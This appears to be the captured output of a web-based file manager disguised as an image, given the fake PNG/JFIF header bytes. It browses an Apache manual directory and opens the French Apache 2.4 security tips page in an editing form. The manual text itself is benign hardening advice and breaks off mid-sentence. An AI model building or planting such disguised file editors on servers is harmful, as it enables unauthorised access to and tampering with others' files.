�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FAPACHE%2F'>APACHE</a>/<a href='?path=%2Fbig%2FAPACHE%2Fmanual%2F'>manual</a>/<a href='?path=%2Fbig%2FAPACHE%2Fmanual%2Fmisc%2F'>misc</a>/</p><hr><h3>✏️ Editing: security_tips.html.fr.utf8</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; lang=&quot;fr&quot; xml:lang=&quot;fr&quot;&gt;&lt;head&gt;
&lt;meta content=&quot;text/html; charset=UTF-8&quot; http-equiv=&quot;Content-Type&quot; /&gt;
&lt;!--
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
              This file is generated from xml source: DO NOT EDIT
        XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
      --&gt;
&lt;title&gt;Conseils sur la sécurité - Serveur HTTP Apache Version 2.4&lt;/title&gt;
&lt;link href=&quot;../style/css/manual.css&quot; rel=&quot;stylesheet&quot; media=&quot;all&quot; type=&quot;text/css&quot; title=&quot;Main stylesheet&quot; /&gt;
&lt;link href=&quot;../style/css/manual-loose-100pc.css&quot; rel=&quot;alternate stylesheet&quot; media=&quot;all&quot; type=&quot;text/css&quot; title=&quot;No Sidebar - Default font size&quot; /&gt;
&lt;link href=&quot;../style/css/manual-print.css&quot; rel=&quot;stylesheet&quot; media=&quot;print&quot; type=&quot;text/css&quot; /&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;../style/css/prettify.css&quot; /&gt;
&lt;script src=&quot;../style/scripts/prettify.min.js&quot; type=&quot;text/javascript&quot;&gt;
&lt;/script&gt;

&lt;link href=&quot;../images/favicon.ico&quot; rel=&quot;shortcut icon&quot; /&gt;&lt;/head&gt;
&lt;body id=&quot;manual-page&quot;&gt;&lt;div id=&quot;page-header&quot;&gt;
&lt;p class=&quot;menu&quot;&gt;&lt;a href=&quot;../mod/&quot;&gt;Modules&lt;/a&gt; | &lt;a href=&quot;../mod/directives.html&quot;&gt;Directives&lt;/a&gt; | &lt;a href=&quot;http://wiki.apache.org/httpd/FAQ&quot;&gt;FAQ&lt;/a&gt; | &lt;a href=&quot;../glossary.html&quot;&gt;Glossaire&lt;/a&gt; | &lt;a href=&quot;../sitemap.html&quot;&gt;Plan du site&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;apache&quot;&gt;Serveur HTTP Apache Version 2.4&lt;/p&gt;
&lt;img alt=&quot;&quot; src=&quot;../images/feather.png&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;up&quot;&gt;&lt;a href=&quot;./&quot;&gt;&lt;img title=&quot;&amp;lt;-&quot; alt=&quot;&amp;lt;-&quot; src=&quot;../images/left.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div id=&quot;path&quot;&gt;
&lt;a href=&quot;http://www.apache.org/&quot;&gt;Apache&lt;/a&gt; &amp;gt; &lt;a href=&quot;http://httpd.apache.org/&quot;&gt;Serveur HTTP&lt;/a&gt; &amp;gt; &lt;a href=&quot;http://httpd.apache.org/docs/&quot;&gt;Documentation&lt;/a&gt; &amp;gt; &lt;a href=&quot;../&quot;&gt;Version 2.4&lt;/a&gt; &amp;gt; &lt;a href=&quot;./&quot;&gt;Documentations diverses&lt;/a&gt;&lt;/div&gt;&lt;div id=&quot;page-content&quot;&gt;&lt;div id=&quot;preamble&quot;&gt;&lt;h1&gt;Conseils sur la sécurité&lt;/h1&gt;
&lt;div class=&quot;toplang&quot;&gt;
&lt;p&gt;&lt;span&gt;Langues Disponibles: &lt;/span&gt;&lt;a href=&quot;../en/misc/security_tips.html&quot; hreflang=&quot;en&quot; rel=&quot;alternate&quot; title=&quot;English&quot;&gt;&amp;nbsp;en&amp;nbsp;&lt;/a&gt; |
&lt;a href=&quot;../fr/misc/security_tips.html&quot; title=&quot;Français&quot;&gt;&amp;nbsp;fr&amp;nbsp;&lt;/a&gt; |
&lt;a href=&quot;../ko/misc/security_tips.html&quot; hreflang=&quot;ko&quot; rel=&quot;alternate&quot; title=&quot;Korean&quot;&gt;&amp;nbsp;ko&amp;nbsp;&lt;/a&gt; |
&lt;a href=&quot;../tr/misc/security_tips.html&quot; hreflang=&quot;tr&quot; rel=&quot;alternate&quot; title=&quot;Türkçe&quot;&gt;&amp;nbsp;tr&amp;nbsp;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

    &lt;p&gt;Ce document propose quelques conseils et astuces concernant les
    problèmes de sécurité liés
    à l&#039;installation d&#039;un serveur web. Certaines suggestions seront à caractère
    général, tandis que d&#039;autres seront spécifiques à Apache.&lt;/p&gt;
  &lt;/div&gt;
&lt;div id=&quot;quickview&quot;&gt;&lt;a href=&quot;https://www.apache.org/foundation/contributing.html&quot; class=&quot;badge&quot;&gt;&lt;img src=&quot;https://www.apache.org/images/SupportApache-small.png&quot; alt=&quot;Support Apache!&quot; /&gt;&lt;/a&gt;&lt;ul id=&quot;toc&quot;&gt;&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#uptodate&quot;&gt;Maintenez votre serveur à jour&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#dos&quot;&gt;Attaques de type &quot;Déni de service&quot;
    (Denial of Service - DoS)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#serverroot&quot;&gt;Permissions sur les répertoires de la racine du serveur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#ssi&quot;&gt;Inclusions côté serveur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#cgi&quot;&gt;Les CGI en général&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#nsaliasedcgi&quot;&gt;CGI sans alias de script&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#saliasedcgi&quot;&gt;CGI avec alias de script&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#dynamic&quot;&gt;Autres sources de contenu dynamique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#systemsettings&quot;&gt;Protection de la configuration du système&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#protectserverfiles&quot;&gt;Protection par défaut des fichiers du serveur&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#watchyourlogs&quot;&gt;Surveillez vos journaux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img alt=&quot;&quot; src=&quot;../images/down.gif&quot; /&gt; &lt;a href=&quot;#merging&quot;&gt;Fusion des sections de configuration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h3&gt;Voir aussi&lt;/h3&gt;&lt;ul class=&quot;seealso&quot;&gt;&lt;li&gt;&lt;a href=&quot;#comments_section&quot;&gt;Commentaires&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;uptodate&quot; id=&quot;uptodate&quot;&gt;Maintenez votre serveur à jour&lt;/a&gt;&lt;/h2&gt;

    &lt;p&gt;Le serveur HTTP Apache a une bonne réputation en matière de sécurité
    et possède une communauté de développeurs très sensibilisés aux problèmes
    de sécurité. Mais il est inévitable de trouver certains problèmes
    -- petits ou grands -- une fois le logiciel mis à disposition. C&#039;est pour
    cette raison qu&#039;il est crucial de se tenir informé des mises à jour. Si
    vous avez obtenu votre version du serveur HTTP directement depuis Apache,
    nous vous conseillons grandement de vous abonner à la &lt;a href=&quot;http://httpd.apache.org/lists.html#http-announce&quot;&gt;Liste de diffusion
    des annonces du serveur HTTP&lt;/a&gt; qui vous informera de
    la parution des nouvelles versions et des mises à jour de sécurité. La
    plupart des distributeurs tiers d&#039;Apache fournissent des services
    similaires.&lt;/p&gt;

    &lt;p&gt;Gardez cependant à l&#039;esprit que lorsqu&#039;un serveur web est compromis, le
    code du serveur HTTP n&#039;est la plupart du temps pas en cause. Les problèmes
    proviennent plutôt de code ajouté, de scripts CGI, ou du système
    d&#039;exploitation sous-jacent. Vous devez donc vous tenir informé des
    problèmes et mises à jour concernant tous les logiciels présents sur
    votre système.&lt;/p&gt;

  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;dos&quot; id=&quot;dos&quot;&gt;Attaques de type &quot;Déni de service&quot;
    (Denial of Service - DoS)&lt;/a&gt;&lt;/h2&gt;

    

    &lt;p&gt;Tous les services réseau peuvent faire l&#039;objet d&#039;attaques de type
    &quot;Déni de service&quot; qui tentent de les empêcher de répondre aux clients en
    saturant leurs ressources. Il est impossible de se prémunir totalement
    contre ce type d&#039;attaques, mais vous pouvez accomplir certaines actions
    afin de minimiser les problèmes qu&#039;elles créent.&lt;/p&gt;

    &lt;p&gt;Souvent, l&#039;outil anti-DoS le plus efficace sera constitué par le
    pare-feu ou certaines configurations du système d&#039;exploitation. Par
    exemple, la plupart des pare-feu peuvent être configurés de façon à
    limiter le nombre de connexions simultanées depuis une adresse IP ou un
    réseau, ce qui permet de prévenir toute une gamme d&#039;attaques simples.
    Bien sûr, ceci n&#039;est d&#039;aucun secours contre les attaques de type
    &quot;Déni de service&quot; distribuées (DDoS).&lt;/p&gt;

    &lt;p&gt;Certains réglages de la configuration d&#039;Apache peuvent aussi
    minimiser les problèmes :&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;La directive &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/mod_reqtimeout.html#requestreadtimeout&quot;&gt;RequestReadTimeout&lt;/a&gt;&lt;/code&gt; permet de
      limiter le temps que met le client pour envoyer sa requête.&lt;/li&gt;

      &lt;li&gt;La valeur de la directive
      &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#timeout&quot;&gt;TimeOut&lt;/a&gt;&lt;/code&gt; doit être diminuée sur les
      sites sujets aux attaques DoS. Une valeur de quelques secondes devrait
      convenir. Cependant, comme &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#timeout&quot;&gt;TimeOut&lt;/a&gt;&lt;/code&gt;
      est actuellement concerné par de nombreuses opérations différentes, lui
      attribuer une valeur trop faible peut provoquer des problèmes avec les
      scripts CGI qui présentent un long temps de réponse.&lt;/li&gt;

      &lt;li&gt;La valeur de la directive
      &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#keepalivetimeout&quot;&gt;KeepAliveTimeout&lt;/a&gt;&lt;/code&gt; doit aussi être
      diminuée sur les sites sujets aux attaques DoS. Certains sites
      désactivent même complètement le &quot;maintien en vie&quot; (keepalives)
      à l&#039;aide de la directive
      &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#keepalive&quot;&gt;KeepAlive&lt;/a&gt;&lt;/code&gt;, ce qui bien sûr
      présente des inconvénients en matière de performances.&lt;/li&gt;

      &lt;li&gt;Les valeurs des différentes directives fournies par d&#039;autres modules
      et en rapport avec des délais doivent aussi être vérifiées.&lt;/li&gt;

      &lt;li&gt;Les directives
      &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#limitrequestbody&quot;&gt;LimitRequestBody&lt;/a&gt;&lt;/code&gt;,
      &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#limitrequestfields&quot;&gt;LimitRequestFields&lt;/a&gt;&lt;/code&gt;,
      &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#limitrequestfieldsize&quot;&gt;LimitRequestFieldSize&lt;/a&gt;&lt;/code&gt;,
      &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#limitrequestline&quot;&gt;LimitRequestLine&lt;/a&gt;&lt;/code&gt;, et
      &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#limitxmlrequestbody&quot;&gt;LimitXMLRequestBody&lt;/a&gt;&lt;/code&gt; doivent être
      configurées avec prudence afin de limiter la consommation de ressources
      induite par les demandes des clients.
      &lt;/li&gt;

      &lt;li&gt;Sur les systèmes d&#039;exploitation qui le supportent, assurez-vous que
      la directive &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#acceptfilter&quot;&gt;AcceptFilter&lt;/a&gt;&lt;/code&gt; est
      activée afin de déléguer une partie du traitement des requêtes au
      système d&#039;exploitation. Elle est activée par défaut dans le démon httpd
      d&#039;Apache, mais peut nécessiter une reconfiguration de votre noyau.&lt;/li&gt;

      &lt;li&gt;Optimisez la directive &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/mpm_common.html#maxrequestworkers&quot;&gt;MaxRequestWorkers&lt;/a&gt;&lt;/code&gt; de façon à définir le nombre
      maximum de connexions simultanées au dessus duquel les ressources
      s&#039;épuisent. Voir aussi la &lt;a href=&quot;perf-tuning.html&quot;&gt;documentation sur l&#039;optimisation des
      performances&lt;/a&gt;.&lt;/li&gt;

      &lt;li&gt;L&#039;utilisation d&#039;un &lt;a href=&quot;../mpm.html&quot;&gt;module mpm&lt;/a&gt; threadé
      vous permet de traiter d&#039;avantage de connexions simultanées, ce qui
      minimise l&#039;effet des attaques DoS. Dans le futur, le module mpm
      &lt;code class=&quot;module&quot;&gt;&lt;a href=&quot;../mod/event.html&quot;&gt;event&lt;/a&gt;&lt;/code&gt; utilisera un traitement asynchrone afin de ne pas
      dédier un thread à chaque connexion.&lt;/li&gt;

      &lt;li&gt;Il existe de nombreux modules tiers qui peuvent restreindre les
      comportements de certains clients et ainsi minimiser les problèmes de
      DoS.&lt;/li&gt;

    &lt;/ul&gt;

  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;serverroot&quot; id=&quot;serverroot&quot;&gt;Permissions sur les répertoires de la racine du serveur&lt;/a&gt;&lt;/h2&gt;

    

    &lt;p&gt;Typiquement, Apache est démarré par l&#039;utilisateur root, puis il devient
    la propriété de l&#039;utilisateur défini par la directive &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/mod_unixd.html#user&quot;&gt;User&lt;/a&gt;&lt;/code&gt; afin de répondre aux demandes. Comme
    pour toutes les commandes exécutées par root, vous devez vous assurer
    qu&#039;elle n&#039;est pas modifiable par les utilisateurs autres que root. Les
    fichiers eux-mêmes, mais aussi les répertoires ainsi que leurs parents ne
    doivent être modifiables que par root. Par exemple, si vous avez choisi de
    placer la racine du serveur dans &lt;code&gt;/usr/local/apache&lt;/code&gt;, il est conseillé de
    créer le répertoire en tant que root, avec des commandes du style :&lt;/p&gt;

    &lt;div class=&quot;example&quot;&gt;&lt;p&gt;&lt;code&gt;
      mkdir /usr/local/apache &lt;br /&gt;
      cd /usr/local/apache &lt;br /&gt;
      mkdir bin conf logs &lt;br /&gt;
      chown 0 . bin conf logs &lt;br /&gt;
      chgrp 0 . bin conf logs &lt;br /&gt;
      chmod 755 . bin conf logs
    &lt;/code&gt;&lt;/p&gt;&lt;/div&gt;

    &lt;p&gt;Nous supposerons que &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;/usr&lt;/code&gt; et
    &lt;code&gt;/usr/local&lt;/code&gt; ne sont modifiables que par
    root. Quand vous installez l&#039;exécutable &lt;code class=&quot;program&quot;&gt;&lt;a href=&quot;../programs/httpd.html&quot;&gt;httpd&lt;/a&gt;&lt;/code&gt;, vous
    devez vous assurer qu&#039;il possède des protections similaires :&lt;/p&gt;

    &lt;div class=&quot;example&quot;&gt;&lt;p&gt;&lt;code&gt;
      cp httpd /usr/local/apache/bin &lt;br /&gt;
      chown 0 /usr/local/apache/bin/httpd &lt;br /&gt;
      chgrp 0 /usr/local/apache/bin/httpd &lt;br /&gt;
      chmod 511 /usr/local/apache/bin/httpd
    &lt;/code&gt;&lt;/p&gt;&lt;/div&gt;

    &lt;p&gt;Vous pouvez créer un sous-répertoire htdocs modifiable par d&#039;autres
    utilisateurs -- car root ne crée ni exécute aucun fichier dans ce
    sous-répertoire.&lt;/p&gt;

    &lt;p&gt;Si vous permettez à des utilisateurs non root de modifier des fichiers
    que root écrit ou exécute, vous exposez votre système à une compromission
    de l&#039;utilisateur root. Par exemple, quelqu&#039;un pourrait remplacer le binaire
    &lt;code class=&quot;program&quot;&gt;&lt;a href=&quot;../programs/httpd.html&quot;&gt;httpd&lt;/a&gt;&lt;/code&gt; de façon à ce que la prochaine fois que vous le
    redémarrerez, il exécutera un code arbitraire. Si le répertoire des
    journaux a les droits en écriture (pour un utilisateur non root), quelqu&#039;un
    pourrait remplacer un fichier journal par un lien symbolique vers un autre
    fichier système, et root pourrait alors écraser ce fichier avec des données
    arbitraires. Si les fichiers journaux eux-mêmes ont des droits en
    écriture (pour un utilisateur non root), quelqu&#039;un pourrait
    modifier les journaux eux-mêmes avec des données fausses.&lt;/p&gt;

  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;ssi&quot; id=&quot;ssi&quot;&gt;Inclusions côté serveur&lt;/a&gt;&lt;/h2&gt;

    

    &lt;p&gt;Les inclusions côté serveur (Server Side Includes - SSI) exposent
    l&#039;administrateur du serveur à de nombreux risques potentiels en matière de
    sécurité.&lt;/p&gt;

    &lt;p&gt;Le premier risque est l&#039;augmentation de la charge du serveur. Tous les
    fichiers où SSI est activé doivent être analysés par Apache, qu&#039;ils
    contiennent des directives SSI ou non. L&#039;augmentation de la charge induite
    est minime, mais peut devenir significative dans le contexte d&#039;un
    serveur partagé.&lt;/p&gt;

    &lt;p&gt;Les fichiers SSI présentent les mêmes risques que les scripts CGI en
    général. Les fichiers où SSI est activé peuvent exécuter tout script CGI
    ou autre programme à l&#039;aide de la commande &lt;code&gt;&quot;exec cmd&quot;&lt;/code&gt; avec les permissions
    des utilisateur et groupe sous lesquels Apache s&#039;exécute, comme défini
    dans &lt;code&gt;httpd.conf&lt;/code&gt;.&lt;/p&gt;

    &lt;p&gt;Des méthodes existent pour améliorer la sécurité des fichiers SSI, tout
    en tirant parti des bénéfices qu&#039;ils apportent.&lt;/p&gt;

    &lt;p&gt;Pour limiter les dommages qu&#039;un fichier SSI agressif pourrait causer,
    l&#039;administrateur du serveur peut activer&lt;a href=&quot;../suexec.html&quot;&gt;suexec&lt;/a&gt;
    comme décrit dans la section &lt;a href=&quot;#cgi&quot;&gt;Les CGI en général&lt;/a&gt;.&lt;/p&gt;

    &lt;p&gt;L&#039;activation des SSI pour des fichiers possédant des extensions
    &lt;code&gt;.html&lt;/code&gt; ou
    &lt;code&gt;.htm&lt;/code&gt; peut s&#039;avérer dangereux. Ceci est particulièrement vrai dans un
    environnement de serveur partagé ou étant le siège d&#039;un traffic élevé. Les
    fichiers où SSI est activé doivent posséder une extension spécifique, telle
    que la conventionnelle &lt;code&gt;.shtml&lt;/code&gt;. Ceci permet de limiter la charge du serveur
    à un niveau minimum et de simplifier la gestion des risques.&lt;/p&gt;

    &lt;p&gt;Une autre solution consiste à interdire l&#039;exécution de scripts et
    programmes à partir de pages SSI. Pour ce faire, remplacez
    &lt;code&gt;Includes&lt;/code&gt; par &lt;code&gt;IncludesNOEXEC&lt;/code&gt; dans la directive
    &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/core.html#options&quot;&gt;Options&lt;/a&gt;&lt;/code&gt;. Notez que les utilisateurs
    pourront encore utiliser &lt;code&gt;&amp;lt;--#include virtual=&quot;...&quot; --&amp;gt;&lt;/code&gt; pour exécuter
    des scripts CGI si ces scripts sont situés dans des répertoires spécifiés
    par une directive
    &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/mod_alias.html#scriptalias&quot;&gt;ScriptAlias&lt;/a&gt;&lt;/code&gt;.&lt;/p&gt;

  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;cgi&quot; id=&quot;cgi&quot;&gt;Les CGI en général&lt;/a&gt;&lt;/h2&gt;

    

    &lt;p&gt;Tout d&#039;abord, vous devez toujours garder à l&#039;esprit que vous devez
    faire confiance aux développeurs de scripts ou programmes CGI ainsi qu&#039;à
    vos compétences pour déceler les trous de sécurité potentiels dans les
    CGI, que ceux-ci soient délibérés ou accidentels. Les scripts CGI peuvent
    essentiellement exécuter des commandes arbitraires sur votre système avec
    les droits de l&#039;utilisateur du serveur web, et peuvent par conséquent être
    extrèmement dangereux s&#039;ils ne sont pas vérifiés avec soin.&lt;/p&gt;

    &lt;p&gt;Tous les scripts CGI s&#039;exécutent sous le même utilisateur, il peuvent
    donc entrer en conflit (accidentellement ou délibérément) avec d&#039;autres
    scripts. Par exemple, l&#039;utilisateur A hait l&#039;utilisateur B, il écrit donc
    un script qui efface la base de données CGI de l&#039;utilisateur B. Vous pouvez
    utiliser le programme &lt;a href=&quot;../suexec.html&quot;&gt;suEXEC&lt;/a&gt; pour faire en
    sorte que les scripts s&#039;exécutent sous des utilisateurs différents. Ce
    programme est inclus dans la distribution d&#039;Apache depuis la version 1.2
    et est appelé à partir de certaines portions de code du serveur Apache. Une
    autre méthode plus connue est l&#039;utilisation de
    &lt;a href=&quot;http://cgiwrap.sourceforge.net/&quot;&gt;CGIWrap&lt;/a&gt;.&lt;/p&gt;

  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;nsaliasedcgi&quot; id=&quot;nsaliasedcgi&quot;&gt;CGI sans alias de script&lt;/a&gt;&lt;/h2&gt;

    

    &lt;p&gt;Vous ne devez permettre aux utilisateurs d&#039;exécuter des scripts CGI
    depuis n&#039;importe quel répertoire que dans l&#039;éventualité où :&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;Vous faites confiance à vos utilisateurs pour ne pas écrire de
      scripts qui vont délibérément ou accidentellement exposer votre
      système à une attaque.&lt;/li&gt;
      &lt;li&gt;Vous estimez que le niveau de sécurité dans les autres parties de
      votre site est si faible qu&#039;un trou de sécurité de plus ou de moins
      n&#039;est pas très important.&lt;/li&gt;
      &lt;li&gt;Votre système ne comporte aucun utilisateur, et personne ne visite
      jamais votre site.&lt;/li&gt;
    &lt;/ul&gt;

  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;saliasedcgi&quot; id=&quot;saliasedcgi&quot;&gt;CGI avec alias de script&lt;/a&gt;&lt;/h2&gt;

    

    &lt;p&gt;Le confinement des CGI dans des répertoires spécifiques permet à
    l&#039;administrateur de contrôler ce que l&#039;on met dans ces répertoires. Ceci
    est bien entendu mieux sécurisé que les CGI sans alias de script, mais
    seulement à condition que les utilisateurs avec les droits en écriture sur
    les répertoires soient dignes de confiance, et que l&#039;administrateur ait la
    volonté de tester chaque programme ou script CGI à la recherche d&#039;éventuels
    trous de sécurité.&lt;/p&gt;

    &lt;p&gt;La plupart des sites choisissent cette approche au détriment des CGI
    sans alias de script.&lt;/p&gt;

  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;dynamic&quot; id=&quot;dynamic&quot;&gt;Autres sources de contenu dynamique&lt;/a&gt;&lt;/h2&gt;

  

  &lt;p&gt;
  Les options de scripting intégrées qui s&#039;exécutent en tant que partie du
  serveur lui-même, comme &lt;code&gt;mod_php&lt;/code&gt;, &lt;code&gt;mod_perl&lt;/code&gt;,
  &lt;code&gt;mod_tcl&lt;/code&gt;, et &lt;code&gt;mod_python&lt;/code&gt;,
  s&#039;exécutent sous le même utilisateur que le serveur (voir la directive
  &lt;code class=&quot;directive&quot;&gt;&lt;a href=&quot;../mod/mod_unixd.html#user&quot;&gt;User&lt;/a&gt;&lt;/code&gt;), et par conséquent,
  les scripts que ces moteurs exécutent peuvent accéder aux mêmes ressources
  que le serveur. Certains moteurs de scripting peuvent proposer des
  restrictions, mais pour plus de sûreté, il vaut mieux partir du principe
  que ce n&#039;est pas le cas.&lt;/p&gt;

  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;systemsettings&quot; id=&quot;systemsettings&quot;&gt;Protection de la configuration du système&lt;/a&gt;&lt;/h2&gt;

    

    &lt;p&gt;Pour contrôler étroitement votre serveur, vous pouvez interdire
    l&#039;utilisation des fichiers &lt;code&gt;.htaccess&lt;/code&gt; qui permettent de
    passer outre les fonctionnalités de sécurité que vous avez configurées.
    Voici un moyen pour y parvenir :&lt;/p&gt;

    &lt;p&gt;Ajoutez dans le fichier de configuration du serveur&lt;/p&gt;

    &lt;pre class=&quot;prettyprint lang-config&quot;&gt;&amp;lt;Directory &quot;/&quot;&amp;gt;
    AllowOverride None
&amp;lt;/Directory&amp;gt;&lt;/pre&gt;


    &lt;p&gt;Ceci interdit l&#039;utilisation des fichiers &lt;code&gt;.htaccess&lt;/code&gt; dans
    tous les répertoires, sauf ceux pour lesquels c&#039;est explicitement
    autorisé.&lt;/p&gt;

    &lt;p&gt;Notez que c&#039;est la configuration par défaut depuis Apache 2.3.9.&lt;/p&gt;

  &lt;/div&gt;&lt;div class=&quot;top&quot;&gt;&lt;a href=&quot;#page-header&quot;&gt;&lt;img alt=&quot;top&quot; src=&quot;../images/up.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;section&quot;&gt;
&lt;h2&gt;&lt;a name=&quot;protectserverfiles&quot; id=&quot;protectserverfiles&quot;&gt;Protection par défaut des fichiers du serveur&lt;/a&gt;&lt;/h2&gt;

    

    &lt;p&gt;Le concept d&#039;accès par défaut est un aspect d&#039;Apache qui est parfois mal
    compris. C&#039;est à dire que, à moins que vous ne changiez explicitement ce
    comportement, si le serveur trouve son chemin vers un fichier en suivant
    les règles normales de correspondance URL - fichier, il peut le retourner
    aux clients.&lt;/p&gt;

    &lt;p&gt;Considérons l&#039;exemple suivant :&lt;/p&gt;

    &lt;div class=&quot;example&quot;&gt;&lt;p&gt;&lt;code&gt;
      # cd /; ln -s / public_html &lt;br /&gt;
      puis accès à &lt;code&gt;http://localhost/~root/&lt;/code&gt;
    &lt;/code&gt;&lt;/p&gt;&lt;/div&gt;

    &lt;p&gt;Ceci permettrait aux clients de parcourir l&#039;ensemble du système de
